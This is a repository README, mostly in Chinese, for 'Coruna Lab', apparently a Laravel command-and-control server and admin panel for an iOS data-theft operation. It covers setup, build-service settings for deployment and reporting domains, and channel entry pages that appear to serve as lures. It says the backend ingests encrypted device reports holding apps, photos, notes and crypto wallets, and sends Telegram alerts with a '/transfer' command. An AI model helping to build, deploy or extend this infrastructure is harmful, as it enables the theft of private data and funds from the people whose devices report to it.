Files
coruna-lab/README.md
T
hashbro 74a67c3900 init
2026-08-08 05:09:01 +08:00

83 lines
2.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# Coruna Lab
Laravel C2 + Admin。渠道静态资源构建与分发已拆到同级项目 [`../coruna-lab-web/`](../coruna-lab-web/)。
```text
ios-fetch/
├── coruna-lab/ # ← 本仓库:C2 / Admin / 渠道元数据
└── coruna-lab-web/ # 构建 API + frontend 模板/工具 + 静态产物站
```
## Requirements
| Tool | Path / note |
|------|-------------|
| PHP 8.5+ | `/opt/homebrew/opt/php/bin/php`(勿用 PATH 里旧 7.3) |
| Composer | via brew PHP |
| MySQL 8.0 | preferred;sqlite 可 smoke |
| p7zip | `CORUNA_7Z_BIN` 或 `bin/7z`(C2 入库用) |
```bash
export PATH="/opt/homebrew/opt/php/bin:$PATH"
php -v
```
## Setup
```bash
cp .env.example .env
# edit .env: DB_*, TELEGRAM_*, ADMIN_*, CORUNA_BUILD_SERVICE_*
php artisan key:generate # once
php artisan migrate --seed
php artisan serve --host=0.0.0.0 --port=8000
```
Admin:
- Shell: `http://127.0.0.1:8000/admin`
- Login: `http://127.0.0.1:8000/admin/login` — `admin` / `admin123`(见 `.env` `ADMIN_*`)
## 新建渠道
本仓库只保存渠道元数据;静态产物由 `coruna-lab-web` 同步构建:
```dotenv
CORUNA_BUILD_SERVICE_URL=http://127.0.0.1:8081
CORUNA_BUILD_SERVICE_TOKEN=replace-me
CORUNA_BUILD_SERVICE_CONNECT_TIMEOUT=5
CORUNA_BUILD_SERVICE_TIMEOUT=600
CORUNA_LAB_CHANNEL_DOMAINS=www.dep1.example,www.dep2.example
CORUNA_LAB_AMIDN_DOMAINS=www.rep1.example,www.rep2.example
CORUNA_STATIC_SITE_BASE_URL=https://static.example
```
创建渠道时可填写 `domains`(可选);留空则展示链接与构建 `deployment_domains` 使用 `CORUNA_LAB_CHANNEL_DOMAINS`。构建时的 `reporting_domains` 始终使用 `CORUNA_LAB_AMIDN_DOMAINS`。
构建:`POST /v1/channels/{id}/build`
删除:`DELETE /v1/channels/{id}`
后台展示入口:
```text
https://<host>/channel/<channel-id>/web/support.html
https://<host>/channel/<channel-id>/sync/daily.html
```
构建服务部署见 [`../coruna-lab-web/docs/BUILD_API.md`](../coruna-lab-web/docs/BUILD_API.md)。
## C2 / Admin 说明
- Reporting:AES-256-ECB JSON + multipart `/api/user/check` 7z
- 入库:devices / apps / photos / notes / wallets + `c2_raw_logs`
- Telegram:新设备、新/变更钱包;`/transfer` 指令
```bash
php artisan test
```
## 注意
- 本仓库不再包含 `frontend/` 或本地 Python 构建脚本
- 迁移期可保留旧 `public/web`、`public/sync` 只读;新渠道只发到 `coruna-lab-web` 静态站